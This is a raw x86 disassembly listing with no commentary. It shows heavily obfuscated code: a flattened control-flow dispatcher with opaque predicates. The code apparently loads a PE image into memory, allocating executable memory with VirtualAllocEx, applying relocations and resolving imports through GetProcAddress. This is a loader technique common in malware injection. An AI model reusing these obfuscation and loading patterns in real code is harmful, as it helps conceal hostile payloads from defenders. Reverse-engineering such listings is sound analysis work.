mov eax, dword [ebp - 0x4b234]
mov eax, 0xb234c469
jmp 0x401de0
cmp eax, 0x9e42fe26
je 0x404f86
cmp eax, 0x9e784c08
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x30f7ddb1
lea eax, [edx + 1]
jmp 0x40501a
cmp eax, 0x523ad245
je 0x404fd6
cmp eax, 0x52a59425
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x7807aae6
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3231dcc
jmp 0x4058d8
cmp eax, 0x2bf1e49
je 0x404ffc
cmp eax, 0x3231dcc
jne 0x401de0
mov eax, 0x7807aae6
jmp 0x401de0
cmp eax, 0x30f7ddb1
je 0x405006
cmp eax, 0x31470b0b
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x1c65ce3a
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2b0470d5
jmp 0x4058d8
cmp eax, 0xb9d538b8
je 0x40503a
cmp eax, 0xba44e583
jne 0x401de0
mov eax, 0xa398ef71
jmp 0x401de0
cmp eax, 0x72b0f997
je 0x405044
cmp eax, 0x753b5102
jne 0x401de0
mov eax, dword [ebp - 0x4b224]
mov ecx, dword [eax + 0xa0]
mov edx, dword [eax + 0xa4]
mov dword [ebp - 0x4b310], eax
mov eax, 0xaca404c0
mov dword [ebp - 0x4b30c], ecx
mov dword [ebp - 0x4b2c0], edx
jmp 0x401de0
cmp eax, 0xe2067a21
je 0x405058
cmp eax, 0xe291d045
jne 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0xe9a3e013
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xff192440
jmp 0x405675
cmp eax, 0x9755eb8
je 0x40506c
cmp eax, 0x9ae7706
jne 0x401de0
mov eax, 0xd0039bd3
jmp 0x401de0
cmp eax, 0x886aa2c8
je 0x405090
cmp eax, 0x89b4b283
jne 0x401de0
mov eax, 0xbe61b224
jmp 0x401de0
cmp eax, 0x3ad270ef
je 0x4050da
cmp eax, 0x3bd6ea18
jne 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x93751829
jmp 0x4048aa
cmp eax, 0xee71b638
je 0x4050e4
cmp eax, 0xef8a8e09
jne 0x401de0
mov eax, 0xceea324
jmp 0x401de0
cmp eax, 0x219b5a00
je 0x4050fc
cmp eax, 0x21b2a33d
jne 0x401de0
mov eax, 0x30f5fcfb
jmp 0x401de0
cmp eax, 0xaac62f4b
je 0x405106
cmp eax, 0xab80fabc
jne 0x401de0
mov eax, 0xef8a8e09
jmp 0x401de0
cmp eax, 0x5d4640e5
je 0x405146
cmp eax, 0x5d89a22f
jne 0x401de0
mov eax, dword [ebp - 0x4b368]
mov eax, dword [eax]
add eax, dword [ebp - 0x4b364]
mov dword [ebp - 0x4b36c], eax
mov eax, 0xb65a53d9
jmp 0x401de0
cmp eax, 0xccf67bf4
je 0x405161
cmp eax, 0xcd7acb4f
jne 0x401de0
mov eax, dword [ebp - 0x4b344]
add eax, 8
mov dword [ebp - 0x4b348], eax
mov eax, 0xcdf2d319
jmp 0x401de0
cmp eax, 0x12c5de2a
je 0x405187
cmp eax, 0x13ccd0c2
jne 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0xa6e98a13
mov edi, 0x27caea8a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x27caea8a
jmp 0x40588c
cmp eax, 0x99e61676
je 0x40519f
cmp eax, 0x99fb8940
jne 0x401de0
mov eax, dword [ebp - 0x4b248]
mov ecx, dword [ebp - 0x4b384]
mov dword [eax], ecx
mov eax, 0xca13c81
jmp 0x401de0
cmp eax, 0x4d5cdbb3
je 0x4051cd
cmp eax, 0x4efddb0b
jne 0x401de0
mov eax, 0x2b337d06
mov dword [ebp - 0x4b220], 7
jmp 0x401de0
cmp eax, 0xff03f8b5
je 0x4052a8
cmp eax, 0xff192440
jne 0x401de0
mov eax, 0xe291d045
jmp 0x401de0
cmp eax, 0x2d26876b
je 0x4052e2
cmp eax, 0x2ef46a7b
jne 0x401de0
mov eax, dword [ebp - 0x4b21c]
mov eax, 0x7dbef5a
jmp 0x401de0
cmp eax, 0xb7135a84
je 0x4052fb
cmp eax, 0xb86838f4
jne 0x401de0
mov eax, dword [ebp - 0x4b290]
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [ebp - 0x4b284]
mov eax, dword [ebp - 0x4b284]
mov eax, dword [ebp - 0x4b284]
mov eax, dword [ebp - 0x4b284]
mov eax, dword [ebp - 0x4b284]
mov eax, 0x5384fb1c
jmp 0x401de0
cmp eax, 0x6dfc2909
je 0x40535b
cmp eax, 0x6e1a812f
jne 0x401de0
mov eax, 0xa823dfbd
jmp 0x401de0
cmp eax, 0xe0cf9770
je 0x405365
cmp eax, 0xe11f9329
jne 0x401de0
mov eax, dword [ebp - 0x4b2b0]
mov ecx, dword [ebp - 0x4b34c]
cmp ecx, dword [eax]
mov eax, 0xccf67bf4
setl byte [ebp - 0x4b25d]
jmp 0x401de0
cmp eax, 0xc8d8953
je 0x405390
cmp eax, 0xca13c81
jne 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x9e42fe26
mov edi, 0x91d7e8f0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x91d7e8f0
jmp 0x40588c
cmp eax, 0x92dff92b
je 0x40539a
cmp eax, 0x933bf555
jne 0x401de0
mov eax, 0xf1379601
jmp 0x401de0
cmp eax, 0x43cf72f9
je 0x4053b9
cmp eax, 0x447023bd
jne 0x401de0
mov eax, dword [ebp - 0x4b2f0]
mov eax, 0x530eab10
jmp 0x401de0
cmp eax, 0xf83cd877
je 0x4053c3
cmp eax, 0xf9838412
jne 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0xf1573247
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc373c73e
jmp 0x405675
cmp eax, 0x27caea8a
je 0x4053f7
cmp eax, 0x294770c0
jne 0x401de0
mov eax, dword [ebp - 0x4b2e4]
mov eax, dword [ebp - 0x4b2e0]
mov eax, 0xd477f02b
jmp 0x401de0
cmp eax, 0xb132501e
je 0x40540d
cmp eax, 0xb1c81e32
jne 0x401de0
movzx eax, byte [ebp - 0x4b266]
mov ecx, dword [ebp - 0x4b2a0]
mov byte [ecx], al
mov ecx, 0x5dcb2325
mov eax, dword [ebp - 0x4b2a4]
mov eax, dword [ebp - 0x4b2a0]
cmp byte [eax], 0
mov eax, 0x35ec2874
cmove eax, ecx
jmp 0x401de0
cmp eax, 0x6471e536
je 0x405426
cmp eax, 0x66bd9450
jne 0x401de0
cmp byte [ebp - 0x4b261], 0
mov eax, 0x2ce0c02d
mov ecx, 0xfef98f94
cmovne eax, ecx
jmp 0x401de0
cmp eax, 0xd3fb12b3
je 0x40543f
cmp eax, 0xd3fc5389
jne 0x401de0
mov eax, 0x5d4640e5
jmp 0x401de0
cmp eax, 0x1c65ce3a
je 0x40545e
cmp eax, 0x1cc74125
jne 0x401de0
mov eax, dword [ebp - 0x4b340]
cmp eax, dword [ebp - 0x4b2c0]
mov eax, 0x4ab37806
setb byte [ebp - 0x4b25c]
jmp 0x401de0
cmp eax, 0xa1868a1e
je 0x4054aa
cmp eax, 0xa1b328d2
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x1169b558
mov ebx, 0x886aa2c8
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x886aa2c8
jmp 0x401dbb
cmp eax, 0x5549b653
je 0x4054d0
cmp eax, 0x55b4d787
jne 0x401de0
mov eax, 0xd4d9645a
jmp 0x401de0
cmp eax, 0x4c6b7ac
je 0x4054e4
cmp eax, 0x4fb0849
jne 0x401de0
mov eax, dword [ebp - 0x4b26c]
mov eax, dword [eax]
add eax, dword [ebp - 0x4b35c]
mov dword [ebp - 0x4b360], eax
mov eax, 0x903a3e8a
jmp 0x401de0
cmp eax, 0x36475dfc
je 0x40550b
cmp eax, 0x3682fff7
jne 0x401de0
mov eax, 0x5a4ed424
jmp 0x401de0
cmp eax, 0xc14af26e
je 0x405515
cmp eax, 0xc1872c47
jne 0x401de0
mov eax, 0x346c3a94
jmp 0x401de0
cmp eax, 0x7a8d174f
je 0x405534
cmp eax, 0x7bebf019
jne 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0xb2e124fd
mov edi, 0x219b5a00
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x219b5a00
jmp 0x40588c
cmp eax, 0xe2eb9b06
je 0x40553e
cmp eax, 0xe32ddfbf
jne 0x401de0
mov eax, dword [ebp - 0x4b228]
mov ecx, dword [ebp - 0x4b3b8]
mov dword [eax], ecx
mov eax, 0x5a4ed424
jmp 0x401de0
cmp eax, 0x8c7e58e
je 0x405571
cmp eax, 0x9447b91
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x174180f8
mov ebx, 0x15ccd52
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x15ccd52
jmp 0x401dbb
cmp eax, 0x8349fa50
je 0x405589
cmp eax, 0x853da46c
jne 0x401de0
mov eax, dword [ebp - 0x4b21c]
mov eax, dword [eax]
mov dword [ebp - 0x4b394], eax
mov eax, 0xf0e50b97
jmp 0x401de0
cmp eax, 0x38b92e25
je 0x405593
cmp eax, 0x3a58e6cd
jne 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x6d3a2d67
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb228a94a
jmp 0x4056ba
cmp eax, 0xe9a3e013
je 0x4055a3
cmp eax, 0xed52f9e1
jne 0x401de0
cmp byte [ebp - 0x4b259], 0
mov eax, 0xff03f8b5
mov ecx, 0x3f47e600
cmovne eax, ecx
jmp 0x401de0
cmp eax, 0x1f23148b
je 0x4055ad
cmp eax, 0x20ae83a2
jne 0x401de0
mov eax, dword [ebp - 0x4b328]
mov ecx, 0x52a59425
cmp eax, dword [ebp - 0x4b32c]
mov eax, 0xa1868a1e
cmovl eax, ecx
jmp 0x401de0
cmp eax, 0xa823dfbd
je 0x4055cf
cmp eax, 0xaac0b30a
jne 0x401de0
mov eax, dword [ebp - 0x4b250]
mov edi, dword [ebp - 0x4b254]
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x14]
mov edx, dword [ebp - 0x4b280]
mov edx, dword [ebp - 0x4b280]
mov edx, dword [ebp - 0x4b280]
mov edx, dword [ebp - 0x4b280]
add ecx, dword [ebp - 0x4b280]
push dword [edi + eax*8 + 0x10]
push ecx
push dword [ebp - 0x4b2ec]
vzeroupper
call fcn.0043ca90
add esp, 0xc
mov eax, 0xfc2324bd
jmp 0x401de0
cmp eax, 0x5cf7abca
je 0x4055ff
cmp eax, 0x5cf943ef
jne 0x401de0
mov eax, 0xd915606
jmp 0x401de0
cmp eax, 0xc953f551
je 0x405615
cmp eax, 0xcab624a4
jne 0x401de0
mov eax, 0x6a012213
mov dword [ebp - 0x4b220], 5
jmp 0x401de0
cmp eax, 0x1169b558
je 0x40561f
cmp eax, 0x12acb3fa
jne 0x401de0
mov eax, 0x30f7ddb1
jmp 0x401de0
cmp eax, 0x98a3bab7
je 0x40568d
cmp eax, 0x98d2b7fe
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x6dfc2909
mov ebx, 0x9f3a48b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9f3a48b
jmp 0x401dbb
cmp eax, 0x4b83fe34
je 0x4056d1
cmp eax, 0x4bb54fd1
jne 0x401de0
mov eax, 0x1437f357
jmp 0x401de0
cmp eax, 0xfe0c5fa1
je 0x405717
cmp eax, 0xfef98f94
jne 0x401de0
mov eax, dword [ebp - 0x4b230]
mov eax, dword [0x4b03f8]
mov ebx, 0xa740cfe0
mov edi, 0xdaad17f2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdaad17f2
jmp 0x405884
cmp eax, 0x2c60fc0b
je 0x405730
cmp eax, 0x2ce0c02d
jne 0x401de0
mov dword [ebp - 0x4b220], 0x10
mov eax, 0x9b0d7066
jmp 0x401de0
cmp eax, 0xb5c2eecc
je 0x40578f
cmp eax, 0xb65a53d9
jne 0x401de0
mov eax, dword [ebp - 0x4b36c]
mov ecx, dword [ebp - 0x4b244]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov dword [eax], 0
mov eax, 0xd0039bd3
jmp 0x401de0
cmp eax, 0x6da93ae5
je 0x4057bb
cmp eax, 0x6dca984e
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xf9e397bc
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1f23148b
cmovne ebx, edi
test edx, eax
mov edx, dword [ebp - 0x4b2a8]
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
not edx
or edx, 0xbfffffff
cmp edx, 0xffffffff
setne byte [ebp - 0x4b264]
jmp 0x401de0
cmp eax, 0xdaad17f2
je 0x4057d1
cmp eax, 0xe09fa036
jne 0x401de0
mov eax, 0x1ce0c779
jmp 0x401de0
cmp eax, 0xb45ba8b
je 0x405810
cmp eax, 0xb564911
jne 0x401de0
mov eax, dword [ebp - 0x4b22c]
mov eax, 0x421602a3
jmp 0x401de0
cmp eax, 0x926483fe
je 0x40584f
cmp eax, 0x9280945b
jne 0x401de0
mov eax, 0xef8a8e09
jmp 0x401de0
cmp eax, 0x4309d961
je 0x40586a
cmp eax, 0x436951a9
jne 0x401de0
mov eax, 0xe3e48b19
jmp 0x401de0
cmp eax, 0xf47bf6d3
je 0x4058a9
cmp eax, 0xf7d9a011
jne 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0xfc2324bd
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xaac0b30a
jmp 0x4058d8
cmp eax, 0x2716a3e2
je 0x4058ee
cmp eax, 0x271a350d
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x2c60fc0b
mov ebx, 0x506e3139
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x506e3139
jmp 0x401dbb
cmp eax, 0xaed4dd1f
je 0x405a49
cmp eax, 0xaf3378b8
jne 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0xe291d045
mov ebx, 0xff192440
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xff192440
jmp 0x401dc3
mov dword [ebp - 0x4b220], 2
mov eax, 0x3ce1cc32
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x916aaff5
mov dword [ebp - 0x4b334], esi
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa25736e
cmovne ebx, edi
test edx, eax
mov edx, dword [ebp - 0x4b224]
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
mov dword [ebp - 0x4b338], edx
jmp 0x401de0
mov eax, 0x69bef08f
mov dword [ebp - 0x4b220], 1
jmp 0x401de0
mov eax, 0x7bebf019
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0xa398ef71
mov edi, 0xba44e583
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xba44e583
jmp 0x405884
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x9280945b
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x1c2c64cb
jmp 0x4056ba
mov eax, dword [ebp - 0x4b238]
mov dword [ebp - 0x4b28c], esi
mov eax, dword [ebp - 0x4b244]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b234]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x4b300], eax
mov eax, 0xa1b328d2
jmp 0x401de0
mov eax, dword [ebp - 0x4b2bc]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x4b2bc]
mov eax, dword [ebp - 0x4b2a4]
mov eax, dword [ebp - 0x4b2a0]
mov eax, dword [ebp - 0x4b29c]
mov eax, dword [ebp - 0x4b24c]
mov eax, dword [ebp - 0x4b298]
mov eax, dword [ebp - 0x4b2b8]
mov eax, dword [ebp - 0x4b294]
mov eax, dword [ebp - 0x4b2c4]
mov eax, dword [ebp - 0x4b244]
mov dword [ebp - 0x4b2d4], 0
mov dword [ebp - 0x4b220], 1
mov eax, 0x98a3bab7
jmp 0x401de0
cmp dword [ebp - 0x4b2f0], 0
mov eax, dword [0x4b03f8]
mov ebx, 0xfe0c5fa1
mov edi, 0x447023bd
lea ecx, [eax + 1]
setne byte [ebp - 0x4b25e]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x447023bd
jmp 0x40588c
mov edx, dword [0x4b03f8]
mov ecx, dword [0x4b03f4]
mov edi, 0x5cf943ef
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb86838f4
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b290]
mov ebx, dword [ebp - 0x4b22c]
cmovge eax, edx
mov ebx, dword [ebx]
movzx ebx, word [ebx]
and ebx, 0xfff
add ebx, dword [ecx]
mov dword [ebp - 0x4b2f4], ebx
mov ecx, dword [ebp - 0x4b2f4]
mov ecx, dword [ecx]
add ecx, dword [ebp - 0x4b284]
mov dword [ebp - 0x4b350], ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b21c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b380]
movzx eax, word [ecx + eax*4]
mov ecx, dword [ebp - 0x4b258]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4b248]
mov dword [ecx], eax
mov ecx, 0xd0c4d5e8
mov eax, dword [ebp - 0x4b248]
cmp dword [eax], 0
mov eax, 0xca13c81
cmove eax, ecx
jmp 0x401de0
cmp byte [ebp - 0x4b265], 0
mov eax, 0xd6ae8967
mov ecx, 0x2fcdf1ba
cmovne eax, ecx
jmp 0x401de0
mov eax, 0x4d5cdbb3
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0xfaa30211
mov ebx, 0xc1872c47
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc1872c47
jmp 0x401dc3
mov eax, dword [ebp - 0x4b22c]
mov ecx, dword [ebp - 0x4b2f8]
mov edi, 0xe2e61b36
mov ebx, 0x44c2b424
mov dword [eax], ecx
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x44c2b424
jmp 0x401dbb
mov eax, dword [0x4b03f8]
mov ebx, 0xb8ecf925
mov edi, 0x89b4b283
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x89b4b283
jmp 0x40588c
mov eax, 0xaf3378b8
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x60839e4a
mov edi, 0x3231dcc
mov dword [ebp - 0x4b27c], esi
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3231dcc
sete cl
cmove eax, ebx
cmp dword [0x4b03f4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
mov edx, dword [ebp - 0x4b254]
cmovne eax, ebx
mov dword [ebp - 0x4b2e8], edx
jmp 0x401de0
mov eax, dword [ebp - 0x4b314]
add eax, 0x34
mov dword [ebp - 0x4b318], eax
mov eax, 0x9755eb8
jmp 0x401de0
mov eax, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x6471e536
setne byte [ebp - 0x4b263]
jmp 0x401de0
mov eax, 0x98d2b7fe
jmp 0x401de0
mov eax, dword [ebp - 0x4b224]
mov dword [ebp - 0x4b314], eax
mov eax, 0xe2accaf1
jmp 0x401de0
mov eax, 0x92dff92b
jmp 0x401de0
mov eax, dword [ebp - 0x4b26c]
mov ecx, dword [ebp - 0x4b360]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b240]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [ebp - 0x4b2b0]
mov eax, dword [ebp - 0x4b290]
mov eax, 0x8c7e58e
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov ebx, 0x253fc6a
mov edi, 0x60acb5f0
mov dword [ebp - 0x4b220], 2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x60acb5f0
sete cl
cmove eax, ebx
cmp dword [0x4b03f4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401de0
cmp byte [ebp - 0x4b260], 0
mov eax, 0x4b187fb1
mov ecx, 0x9ee4f715
cmovne eax, ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b394]
mov ecx, dword [ebp - 0x4b21c]
inc eax
mov dword [ecx], eax
mov eax, 0x92dff92b
jmp 0x401de0
mov eax, 0xceea324
jmp 0x401de0
mov eax, 0x926483fe
jmp 0x401de0
movzx ecx, word [ebp - 0x4b2aa]
mov eax, dword [ebp - 0x4b278]
mov eax, dword [ebp - 0x4b278]
mov eax, dword [ebp - 0x4b278]
mov eax, dword [ebp - 0x4b278]
mov eax, 0xb7135a84
add ecx, dword [ebp - 0x4b278]
mov dword [ebp - 0x4b250], 0
mov dword [ebp - 0x4b254], ecx
jmp 0x401de0
mov eax, 0xe9601d36
jmp 0x401de0
mov eax, dword [0x4b03f8]
mov edi, 0x36475dfc
mov ebx, 0x93af41a1
mov dword [ebp - 0x4b220], 0xc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x93af41a1
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b03f4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401de0
mov eax, dword [ebp - 0x4b2bc]
mov eax, dword [ebp - 0x4b224]
mov dword [ebp - 0x4b3c0], esi
mov dword [ebp - 0x4b3c4], eax
mov eax, 0x4b83fe34
jmp 0x401de0
mov eax, dword [ebp - 0x4b324]
movzx eax, word [eax + 0x10]
mov word [ebp - 0x4b2aa], ax
mov eax, 0x10bce611
jmp 0x401de0
mov eax, 0x31470b0b
jmp 0x401de0
mov eax, dword [ebp - 0x4b22c]
mov ecx, dword [ebp - 0x4b348]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b270]
mov eax, dword [ebp - 0x4b270]
mov dword [eax], 0
mov eax, 0xb93d4e62
jmp 0x401de0
movzx eax, word [ebp - 0x4b2cc]
shr eax, 0xc
mov ecx, eax
xor ecx, 0xc
and ecx, eax
mov eax, 0xf83cd877
mov dword [ebp - 0x4b2f0], ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b258]
mov eax, 0x907c2289
jmp 0x401de0
movzx eax, word [ebp - 0x4b2ca]
mov dword [ebp - 0x4b32c], eax
mov eax, 0x20ae83a2
jmp 0x401de0
mov edx, dword [0x4b03f8]
mov eax, dword [0x4b03f4]
mov edi, 0x389ddaf3
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa5cf0e87
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4b228]
jmp 0x4056c7
mov eax, dword [ebp - 0x4b2c8]
mov ecx, 0x53ae635
cmp eax, 0xc
mov eax, 0x1e0b6c23
cmovl eax, ecx
jmp 0x401de0
mov eax, dword [ebp - 0x4b304]
mov eax, 0x2c60fc0b
jmp 0x401de0
mov eax, 0x174180f8
jmp 0x401de0
mov eax, 0xe151453d
jmp 0x401de0
mov eax, dword [ebp - 0x4b330]
inc eax
mov dword [ebp - 0x4b250], eax
mov eax, 0xe2eb9b06
jmp 0x401de0
mov eax, dword [ebp - 0x4b230]
mov dword [eax], 0x20
mov eax, 0xab80fabc
jmp 0x401de0
mov eax, 0x5cf7abca
jmp 0x401de0
mov eax, dword [ebp - 0x4b270]
mov eax, dword [eax]
mov dword [ebp - 0x4b34c], eax
mov eax, 0xe11f9329
jmp 0x401de0
mov eax, dword [ebp - 0x4b320]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0xd3b0cb01
jmp 0x401de0
cmp dword [ebp - 0x4b2fc], 0
mov eax, dword [0x4b03f8]
mov edi, 0x3d2cb11e
mov ebx, 0xd9ddff75
lea ecx, [eax + 1]
setne byte [ebp - 0x4b260]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd9ddff75
jmp 0x401dc3
mov eax, dword [ebp - 0x4b244]
mov eax, dword [ebp - 0x4b224]
mov dword [ebp - 0x4b364], esi
add eax, 0x80
mov dword [ebp - 0x4b368], eax
mov eax, 0x5d89a22f
jmp 0x401de0
mov eax, dword [ebp - 0x4b274]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b258]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0xb45ba8b
jmp 0x401de0
mov eax, dword [ebp - 0x4b2f4]
mov ecx, dword [ebp - 0x4b350]
mov dword [eax], ecx
mov eax, 0xa07b509b
jmp 0x401de0
mov eax, 0x3393a35
jmp 0x401de0
mov eax, 0x600e5501
jmp 0x401de0
mov eax, dword [ebp - 0x4b2e8]
mov ecx, dword [ebp - 0x4b250]
mov ebx, 0xc953f551
mov edi, 0xd5e1c109
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0x4b27c]
mov dword [ebp - 0x4b2ec], eax
mov eax, dword [0x4b03f8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd5e1c109
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b03f4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
lea edx, [ebp - 0x4b210]
mov dword [ebp - 0x4b280], edx
cmovne eax, ebx
jmp 0x401de0
mov eax, dword [ebp - 0x4b22c]
mov ecx, dword [ebp - 0x4b2f8]
mov dword [eax], ecx
mov eax, 0xbd33b639
jmp 0x401de0
mov eax, dword [ebp - 0x4b230]
mov eax, dword [ebp - 0x4b228]
mov eax, dword [ebp - 0x4b228]
mov eax, 0x46d07f1a
jmp 0x401de0
cmp byte [ebp - 0x4b264], 0
mov eax, 0xd6ae8967
mov ecx, 0xb9c4c977
cmovne eax, ecx
jmp 0x401de0
mov eax, 0x4c6b7ac
jmp 0x401de0
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b218]
mov eax, dword [ebp - 0x4b23c]
sub eax, dword [ebp - 0x4b218]
